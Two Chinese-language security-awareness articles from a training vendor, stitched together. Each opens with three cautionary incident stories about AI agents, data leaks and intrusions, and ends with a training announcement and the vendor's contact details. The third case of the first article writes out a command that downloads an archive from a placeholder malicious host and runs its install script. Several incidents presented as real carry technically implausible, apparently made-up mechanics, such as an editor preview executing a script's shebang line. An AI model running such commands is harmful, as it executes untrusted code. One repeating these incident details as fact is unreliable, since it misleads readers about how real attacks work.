信息安全

在数字化浪潮中筑牢防线——从真实安全事件看信息安全意识的必修课

admin

前言：脑洞大开·情景再现——三个警示案例

在信息化的高速列车上，乘客往往只顾欣赏窗外的风景，却忽视了车门是否已经牢固、车厢是否有潜在的危险。今天，我要用三则鲜活、且高度贴合我们日常工作的安全案例，拉开这堂“防火墙”课的序幕。请随我一起进入情景再现的“脑洞”世界，体会风险的真实触感。

案例一：“隐蔽通道”——Sandworm 通过 SSH‑over‑Tor 突破企业防线

2026 年 5 月，全球著名的国家级黑客组织 Sandworm 再次出击。不同于传统的钓鱼邮件或漏洞利用，他们采用了 SSH‑over‑Tor 的组合技术，在看似安全的远程登录通道上悄悄搭建了隐蔽的“地下铁”。
– 攻击路径：攻击者先在公开的 GitHub 项目中投放含有恶意代码的子模块，诱使开发者在本地克隆后执行 npm install；随后利用目标服务器的 SSH 端口（常规 22 端口已被防火墙封禁）开启 Tor 隧道，在 Tor 网络中包装 SSH 流量，使得传统基于 IP 的入侵检测系统（IDS）难以发现异常。
– 后果：在数周的潜伏期后，攻击者获取了高权限的系统账户，横向渗透至核心业务数据库，导致 百万级用户数据 泄露。
– 教训：即便是“安全的”SSH，也可能在被 Tor 隧道包装后变得隐蔽；对外部依赖的代码审计、严格的 SSH 公钥管理以及对异常流量的深度检测缺一不可。

案例二：“AI 代理的双刃剑”——VS Code Agents Window 误操作导致代码泄露

同样在 2026 年 5 月，微软发布了 VS Code 1.120 版本，新增 Agents Window（代理窗口）预览功能。该功能旨在帮助开发者以 Copilot、Claude 等大模型为后台的智能体管理多项目的代码生成与修改。
然而，某大型互联网公司在试点部署时，出现了 “AI 代理误写” 事件：
– 情境：开发者在 Agents Window 中打开了一个包含公司内部机密 API 密钥的私有 Git 仓库，并让 Copilot Cloud 代理自动补全代码。因为代理默认开启 “自动同步至云端”，机密文件被不经意间上传至公共的 GitHub Copilot 远程缓存。
– 后果：数小时后，攻击者通过公开的代码搜索引擎检索到泄露的密钥，随即利用这些凭证进行 API 滥用，导致 数千万元 的业务损失。
– 教训：AI 代理虽便利，但“BYOK（自备 API 金钥）”模式下的 模型上下文用量显示 与 推理投入程度 配置若未严格把控，极易造成敏感信息外泄。对 AI 辅助工具的使用必须设立最小特权原则与审计日志。

案例三：“压缩终端的暗藏危机”——恶意指令在终端输出压缩后悄然执行

在 2026 年 5 月 13 日的另一则热点新闻中，Ollama 平台被曝出重大漏洞，攻击者利用 终端输出压缩预览功能（该功能在 VS Code 1.120 中首次加入）实现 命令注入：
– 攻击过程：攻击者在受害者的终端执行 curl http://malicious.pkg | tar -xz -C /tmp && ./install.sh，而 VS Code 在压缩预览时会自动 展开 归档并显示文件列表。若压缩包中隐藏了 *.sh 脚本，VS Code 的预览引擎在解析时会误触执行脚本的 shebang 行，导致恶意代码在本地执行。
– 后果：受害者机器被植入后门，攻击者随后获取了 全网段的横向渗透 权限，影响了公司内部数十台关键服务器。
– 教训：终端输出压缩预览虽提升效率，却可能成为 “看得见的炸弹”；安全审计需要将压缩文件的 内容可信度 纳入检测范畴，并对自动解压功能实行 白名单 限制。

第一章：信息安全的本质——防御不是“装饰”，而是组织生存的根基

古语有云：“防微杜渐，祸从细微而起”。从以上三则案例不难看出，现代企业的安全风险往往潜伏在技术细节、流程盲点以及人机交互的交叉口。对企业而言，信息安全不再是一套孤立的技术防护体系，而是一种全员参与、持续演进的文化。

引用：美国国家标准与技术研究院（NIST）在《网络安全框架》（CSF）中指出，“识别（Identify）”是所有后续防护措施的基石。只有当组织成员能够准确识别资产、威胁与风险，才能制定针对性的防御策略。

1. 资产识别与分类
– 列出所有 硬件、软件、数据、服务，并依据业务价值、合规要求进行分级。
– 对于 敏感数据（如 API 密钥、客户个人信息），采用 加密、访问控制 双重防护。

2. 风险评估与威胁情报
– 引入 CTI（Cyber Threat Intelligence） 平台，实时获取全球最新威胁情报，如 Sandworm 的战术、技术、流程（TTP）更新。
– 定期开展 红队/蓝队演练，检验防御深度。

3. 人员安全教育
– 传统的“每年一次的安全培训”已难以满足数智化环境的快速变化，“持续学习，情景演练” 成为新标配。
– 将 AI 代理使用规范、终端安全操作、SSH 隧道风险 等纳入日常学习模块。

第二章：数智化、具身智能化、智能体化时代的安全新挑战

1. 数智化（Digital‑Intelligence）——数据驱动的双刃剑

在 大数据、机器学习 的加持下，企业可以实现 精准营销、预测维护 等业务价值。但 数据本身即是攻击的目标，尤其是 训练模型所需的大规模标注数据。若泄露，攻击者可逆向推断出模型的 隐私属性，甚至进行 模型投毒。

典故：庄子《齐物论》有言：“天地与我并生，而万物为刍狗”。在数智化浪潮中，数据和模型同样是“天地”，若不加护持，便会沦为“刍狗”，任人宰割。

防护措施
– 对 训练数据 实施 差分隐私 与 脱敏。
– 对 模型参数 采用 加密推理（Homomorphic Encryption） 或 安全多方计算（SMPC）。

2. 具身智能化（Embodied‑Intelligence）——硬件交互的安全盲区

具身智能体（如机器人、无人机、智能终端）在 工业 4.0、智慧物流 中扮演关键角色。它们的 传感器、执行器 与 云端 AI 形成闭环，一旦链路被劫持，后果不堪设想。

典型风险
– 指令劫持：攻击者通过篡改 MQTT 消息或 WebSocket 流量，向机器人下达破坏指令。
– 固件后门：在固件升级过程中植入后门，形成 持久化。

防御要点
– 采用 硬件根信任（Root of Trust） 与 安全启动（Secure Boot）。
– 对 通信链路 强制使用 TLS 1.3 与 相互认证。

– 实施 固件完整性校验（FW Integrity） 与 回滚保护。

3. 智能体化（Agent‑Oriented）——AI 代理的治理与审计

VS Code 的 Agents Window、GitHub Copilot、Claude 等智能体正快速渗透到开发、运维甚至业务决策的每个环节。它们的 “自学习、自适应” 能力极大提升效率，却也带来 “黑盒” 风险。

核心治理问题
– 数据输入泄漏：智能体在生成代码时可能引用了 敏感上下文，导致信息外泄。
– 操作不可追溯：自动化提交、合并代码的过程若缺乏 审计日志，后期难以追责。
– 模型偏见与错误：错误的建议若被盲目采纳，将导致 业务漏洞 或 合规风险。

治理框架
– AI 代理使用手册：明确 “何时可使用”“何时必须审批”。
– 审计与回滚机制：每一次 AI 生成的变更都必须经过 人工审查、记录 变更哈希 与 责任人。
– 最小特权：为 AI 代理分配 最小必要权限（Least Privilege），防止其跨项目、跨系统操作。

第三章：构建“安全共同体”——从意识到行动的闭环

1. 全员安全观念的培育

“千里之堤，毁于蚁穴”。安全漏洞往往来源于最微小的操作失误。公司应通过 情景剧本、案例复盘、互动式演练 等方式，让每位员工都能在真实或仿真的情境中体会风险。

  • 每日安全贴士：在企业内网、邮件签名、即时通讯工具中推送简短安全提示，如“SSH 登录前先检查是否开启了 Tor 隧道”。
  • 安全闯关赛：设置 CTF（Capture The Flag） 线上平台，围绕 AI 代理滥用、终端压缩注入 等主题，让员工在游戏中学习防御手段。

2. 技术与管理的协同

技术层面需配合 身份与访问管理（IAM）、数据防泄漏（DLP）、端点检测与响应（EDR） 等系统；管理层面则要制定 安全政策、合规检查、风险容忍度 等制度。

  • 安全基线检查：所有开发机器必须开启 VS Code BYOK 用量监控、终端指令风险评估插件，并在每次提交前强制执行 差异对比。
  • 审计日志统一平台：将 Agents Window、GitOps、CI/CD 的操作日志集中到 SIEM 系统，实现跨系统的异常关联分析。

3. 持续改进的安全生命周期

借鉴 PDCA（Plan‑Do‑Check‑Act） 循环，将安全培训、技术更新、风险评估纳入 年度计划，并通过 KPI（关键绩效指标） 进行量化评估。

  • 培训出勤率 ≥ 95%
  • 安全事件响应时间 ≤ 30 分钟
  • AI 代理误用率 ≤ 0.1%

第四章：号召参与——即将开启的信息安全意识培训活动

活动概览

  • 时间：2026 年 6 月 12 日（周六）上午 9:00‑12:00
  • 地点：公司多功能厅（线上同步）
  • 对象：全体职工（含研发、运维、市场、行政）
  • 形式：理论讲解 + 案例深度复盘 + 实战演练 + 互动答疑

培训亮点

  1. 案例沉浸式复盘：现场拆解 Sandworm SSH‑over‑Tor、VS Code Agents Window 失误、终端压缩指令注入 三大真实案例，帮助学员“现场感受”黑客思路。
  2. AI 代理安全实操：搭建 Copilot CLI 与 Claude Agent 环境，亲手体验 BYOK 模型用量监控、推理投入配置，并学习 审计日志自动生成。
  3. 红队演习：模拟 SSH 隧道渗透 与 终端压缩注入 攻击，学员分组进行防御与响应，最优团队将获 “安全护盾” 奖杯。
  4. 安全文化工作坊：邀请资深安全专家、心理学顾问，共同探讨 安全行为习惯 的养成技巧，让安全意识滚进每一天的工作流程。

参与方式与奖励机制

  • 报名渠道：公司内部系统 → 培训报名 → 选择“信息安全意识培训”。
  • 出勤奖励：完成全部培训并通过线上测评的同事，将获得 公司内部安全徽章，并计入年度绩效。
  • 最佳表现奖励：在实战演练中表现突出的团队成员，将有机会获得 专业安全培训课程（如 CISSP、CISM）全额资助，以及 公司最新硬件安全模块（TPM） 试用资格。

再次呼吁

同事们，信息安全不是自上而下的“口号”，而是从每一次键入、每一次点击开始的自我防护。在数智化、具身智能化、智能体化的交叉浪潮中，我们每个人都是防线的一环。让我们把对案例的警醒转化为日常的安全习惯，把对技术的好奇转化为合规的使用规范，把对企业的责任感转化为主动的风险评估。

安全无小事，防护靠大家。期待在培训现场与你相见，一起点燃安全意识的火花，让企业在数字化的高速路上稳健前行！

昆明亭长朗然科技有限公司研发的安全意识宣传平台，为企业打造了一套可操作性强、效果显著的员工教育体系。我们的平台易于使用且高度个性化，能够快速提升团队对信息安全的关注度。如有需求，请不要犹豫地与我们联系。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

守护数字家园，打造合规安全新纪元——信息安全意识提升与合规文化培训行动号召

admin

前言：三则“警世”案例，直击信息安全与合规的红线

案例一：《AI生成的“李博士”—假论文闹剧》

2023 年底，国内知名高校“华北理工大学”信息管理系的副教授韩晟（性格冲动、追求功利）在准备晋升材料时，发现自己的科研产出在近两年里出现了明显的停滞。焦虑之下，他在一次行业研讨会上结识了自称“智能创新顾问”的赵瑾（外表温文尔雅，实则野心勃勃），赵瑾向韩晟展示了最新的 GPT‑4 多模态模型，声称只要给出关键词，即可生成高质量的学术论文。

韩晟抱着“先试试再说”的心态，将自己的科研方向——“基于区块链的隐私保护”——的关键词输入模型。模型在短短十五分钟内输出了一篇完整的论文稿，结构严谨、实验数据齐全、参考文献跨越十余年。韩晟惊讶于模型的“创作”能力，急忙将稿件提交至学校的内部学术期刊系统，随后又用同样的方法生成了两篇“后续研究”。

然而，事情并未如他所愿顺利。几天后，期刊的审稿人刘志远（严谨、正直）在审阅时发现，论文的实验数据与公开的数据库记录不符，且参考文献出现了“被篡改的 DOI”。刘志远进一步使用学术不端检测系统（Turnitin）比对后，系统提示该稿件的文本高度相似于某国外期刊的公开预印本。

在校内调查组的追踪下，发现所有异常论文的“作者信息”均指向同一位“李博士”，而这位李博士根本不存在于学校的教工系统。最终，韩晟因代写学术论文、伪造学术成果以及利用未授权的外部大模型进行科研欺诈被立案调查，校园纪律委员会对其处以撤销职称、取消晋升、并同步通报全校。

教训：盲目依赖大模型生成关键业务内容，尤其是未经过严密审查的学术、技术文档，容易导致信息造假、版权侵权与合规风险。更甚者，使用未经授权的模型服务，可能触犯国家网络安全法、数据安全法以及国家关于科研诚信的相关规定。

案例二：《智能客服的致命泄密—“星河集团”危局》

2024 年春，国内大型金融服务企业“星河集团”在数字化转型的浪潮中，引进了自研的智能客服系统“星光‑AI”，该系统基于国产大模型“天璇‑7”。系统上线后，客服响应时间提升了 70%，客户满意度攀升至历史新高。项目负责人沈倩（工作细致、技术狂热）对系统的成功赞不绝口，甚至在公司内部的全员大会上鼓吹：“有了天璇‑7，凡是文档、报告、对话，皆可自动生成，省时省力。”

然而，正当全员沉浸在效率红利中时，一位名叫吴昊的客服在处理一位高净值客户的咨询时，误将系统默认的“示例脚本”直接复制粘贴给客户。该脚本中包含了系统内部的 API 密钥、服务器地址以及内部业务规则的详细描述，甚至露出了一段未脱敏的用户交易记录。

客户收到信息后，立即将该资料泄露的风险告知监管部门。监管部门紧急启动调查，发现“星光‑AI”在默认配置中未对敏感信息做脱敏处理，且系统日志在数据备份时被错误地放置在公开的云盘目录下，导致数千名客户的个人信息可被外部人员下载。

星河集团因未落实《个人信息保护法》、未建立完善的信息安全管理制度、未对 AI 系统进行安全评估，被监管部门处以 5000 万人民币的罚款，并要求在一年内完成全系统的合规整改。沈倩因未执行信息安全职责、违规使用未加密的模型接口，被公司除名并列入行业失信名单。

教训：AI 系统在生产环境中直接对外提供交互服务时，必须严格执行信息脱敏、最小授权、审计日志等安全措施。任何默认示例、测试数据泄露都可能引发大规模个人信息泄露，触犯多部法律法规。

案例三：《智慧政务的“逆袭”——“晨光市”信息篡改风波》

2025 年初，东部沿海省份的中等城市“晨光市”在市委、市政府的大力推动下，推出了全市统一的智慧政务平台“晨光‑GOV”。平台采用国产大模型“凌云‑3”进行政策文案自动生成、群众诉求智能归类以及舆情研判。平台上线后，市民通过手机 APP 可以“一键办事”，政务效率提升显著。平台项目总指挥刘涛（精明、野心勃勃）与项目技术总监陈楠（技术极客、追求极致）对外宣传：“这是数字政府的里程碑，所有决策文稿均由 AI 初稿，人工仅需校对。”

然而，在一次突发的环境污染事件中，市环保局需要发布紧急通报。陈楠因忙于其他项目，将通报草稿交给“凌云‑3”生成。模型在生成稿件时，依据历史数据自动引用了去年同类事件的处理流程，并错误地将“已完成治理”写入正文。刘涛为赶时间，直接点击“发布”，导致市民在平台上看到一篇内容与事实不符的官方通报。

事后，环保组织“绿盾联盟”在社交媒体上曝光此事，引发舆论哗然。调查发现，平台的内容发布流程缺乏必要的二次核验机制，且系统对重要事务的自动化程度过高，未设置关键字预警。更为严重的是，平台在数据备份时，使用了未经加密的公共云存储，导致通报稿件的原始数据被外部黑客篡改，添加了“一键拨打政府热线的恶意链接”，骗取用户个人信息。

市委政务办随即启动专项整治，刘涛因未落实《网络安全法》关于关键信息基础设施的保护义务、未建立信息安全风险评估制度，被免职并追究行政责任。陈楠因技术失职、未进行模型输出的有效审计，受到行业监管机构的警告。整场危机导致市政府公信力受到严重损害，经济损失估计超过 1 亿元。

教训：在智慧政务、公共服务等关键业务场景中，AI 的“自动化”绝非“一键放行”。必须建立多层级的人工审核、关键字预警、审计溯源以及数据加密等防护机制，防止信息失误与恶意篡改导致的治理危机。

案例剖析：违规违法背后的制度缺失

  1. 技术盲从、合规缺位——三起案例的共同点在于，对新技术的“热情拥抱”超过了对合规要求的审视。无论是学术造假、个人信息泄漏，还是政务信息篡改，根源皆是未在技术引入前完成合规评估、风险识别和制度设计。

  2. 数据安全治理薄弱——案例二、三均暴露出数据脱敏、加密、访问控制、审计日志等关键环节的缺失。依据《个人信息保护法》《网络安全法》《数据安全法》要求，组织必须对数据全生命周期实施分类分级保护，实施最小授权原则。

  3. AI 生产内容缺乏审计——大模型的输出属于“人工智能生成内容（AIGC）”，其可信度、合规性无法凭空保证。依据《信息安全技术 个人信息去标识化指南》及《人工智能伦理规范》，任何面向公众的 AI 输出必须经过可追溯、可核查的人工复核流程。

  4. 责任链条不清晰——在上述案例中，技术负责人、业务负责人、合规部门均未划清职责，导致“谁负责、谁承担”模糊，最终导致追责难、整改慢。依据《企业内部控制基本规范》，应明确“一岗双责”或“全员合规”的责任划分。

数字时代的安全挑战：从“人口红利”到“智能体红利”

过去十年，中国实现了规模宏大的“人口红利”，大量劳动力支撑了制造业、服务业的高速增长。进入 2020 年代后，人口红利逐步削弱，取而代之的是 “智能体红利”——人工智能、大模型、自动化技术成为新一轮经济增长的发动机。

在 GPT‑4、Claude、Gemini 等大模型的浪潮中，信息安全与合规不再是“IT 部门的事”，而是 全员、全流程、全场景 的共同责任。

  • 全员意识：每位员工都是信息安全链条上的节点。无论是日常邮件、即时通讯，还是使用 AI 助手，都可能产生信息泄露或合规风险。
  • 全流程审计：从需求立项、技术选型、系统部署、上线运营到退役销毁，每一步都需嵌入合规检查点。
  • 全场景防护：传统的网络防火墙已难以覆盖 AI 生成内容、云原生服务、边缘计算等新场景，需要 零信任架构、数据脱敏平台、AI 可解释性工具 做全链路防护。

在此背景下，组织必须构建 信息安全与合规管理制度体系，包括但不限于：

  1. 信息安全管理制度（ISO/IEC 27001 体系）
  2. 数据分类分级与分层防护制度（符合《数据安全法》）
  3. AI 生成内容合规审查流程（依据《人工智能治理准则》）
  4. 应急响应与追溯机制（快速定位泄密、篡改、违规操作）
  5. 安全文化与合规意识培养体系（定期培训、演练、考核）

只有制度沉淀、文化浸润、技术赋能相互融合，才能在信息化、数字化、智能化、自动化高速演进的时代，真正把 “智能体红利” 转化为 “安全合规红利”。

行动号召：全面提升信息安全意识，铸就合规文化新高地

1. 立足岗位，人人是信息安全的守门员

  • 敏感信息不随意复制粘贴：尤其是 AI 生成模型的默认示例、代码片段，一定要脱敏后方可外泄。

  • 使用正规渠道的 AI 服务：企业内部须对外部模型进行安全评估，优先采购已经通过国家安全审查的国产大模型。
  • 密码与密钥管理：使用密码管理器，严禁明文存储 API Key、数据库密码。

2. 建立“AI 合规审查岗”，让机器产生的内容有人把关

  • 双重复核：AI 生成的重要文档、政策稿、公开通告必须经过两名不同部门负责人复核后方可发布。
  • 可解释性检查：对 AI 输出进行溯源，记录 Prompt、模型版本、关键参数，确保出现问题时可快速定位。
  • 合规标签：在每份 AI 产出文档上添加 “合规审查通过” 标记，形成可视化的合规链。

3. 实施“零信任”技术框架，防止内部滥用与外部入侵

  • 最小授权：每位员工仅获取完成工作所需的最小权限。
  • 持续监控：对关键系统的调用链路进行实时监控，异常行为立刻触发告警。
  • 动态身份验证：采用多因素认证、行为生物识别，提升身份验证的安全性。

4. 打造安全文化：让合规成为组织的“软实力”

  • 情景演练：每季度组织一次信息泄露、AI 输出错误、系统被篡改的模拟演练。
  • 案例共享：定期发布内部或外部的违规案例，剖析风险点、整改措施。
  • 激励机制：对发现并主动上报安全隐患的员工给予表彰与奖励，形成“人人防护、主动报告”的氛围。

推介：专业化信息安全与合规培训服务，为您保驾护航

在企业迈向数字化、智能化的关键阶段，专业的安全合规培训平台是帮助组织快速构建合规文化、提升全员安全意识的最佳助力。我们秉持 “技术驱动、合规先行、文化浸润” 的理念，提供以下核心服务：

  1. 全链路安全合规体系建设顾问
    • 深入调研企业业务流程，依据《网络安全法》《个人信息保护法》《数据安全法》制定量身定制的合规制度。
    • 为 AI 生成内容打造专属审查框架，完成模型风险评估、脱敏策略、审计日志设计。
  2. 互动式安全文化培训平台
    • 采用 沉浸式案例教学，把前文三大警世案例转化为情景模拟，让学员在“亲历”中领悟合规要义。
    • 包含 微课、线上直播、实战演练 三大模块，涵盖信息安全基础、AI 合规审查、零信任架构实践。
  3. 安全能力测评与认证体系
    • 通过 信息安全意识测评、AI 合规审查实操考核，为企业内部培养合规专员、审计员提供权威认证。
    • 认证体系与国家职业资格互通，提升员工职业竞争力，进一步激发学习动力。
  4. 应急响应即战力
    • 建立 24/7 安全响应中心，为企业提供快速的安全事件处置、溯源分析、合规报告撰写等一体化服务。
    • 与企业内部安全团队联动，协同完成 事件后复盘、制度优化。

为何选择我们的平台？

  • 国产技术深耕：全程使用已通过国家安全审查的国产大模型与安全产品，避免跨境数据流动风险。
  • 专家团队坐镇：汇聚 网络安全、数据合规、人工智能伦理 等多领域的顶尖学者与实战专家，提供前瞻性指导。
  • 案例驱动、可落地：所有培训内容均基于真实案例改编，学员能够快速把所学转化为工作中的实际操作。
  • 灵活部署，适配全行业：无论是金融、医疗、制造还是政府部门，都能实现云端或本地化部署，满足合规与安全双重需求。

在信息安全与合规的赛道上，先行一步意味着可以规避巨额罚款、品牌危机甚至业务中断的沉重代价。让我们携手，用 制度 把握 技术 的红利，让 文化 赋能 创新，共同迎接“智能体红利”时代的安全与繁荣。

“国家治理现代化的关键，不是把技术装在盒子里，而是把合规之灯点亮在每一位员工的心中。”——摘自《信息安全与合规治理新论》

从今天起，加入我们的 信息安全意识提升与合规文化培训 行动，成为组织的安全领航者，让每一次 AI 助手的调用，都在合规的护航之下，成为推动创新的强大引擎！

让合规不再是负担，让安全成为竞争优势！

在数据合规日益重要的今天，昆明亭长朗然科技有限公司为您提供全面的合规意识培训服务。我们帮助您的团队理解并遵守相关法律法规，降低合规风险，确保业务的稳健发展。期待与您携手，共筑安全合规的坚实后盾。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898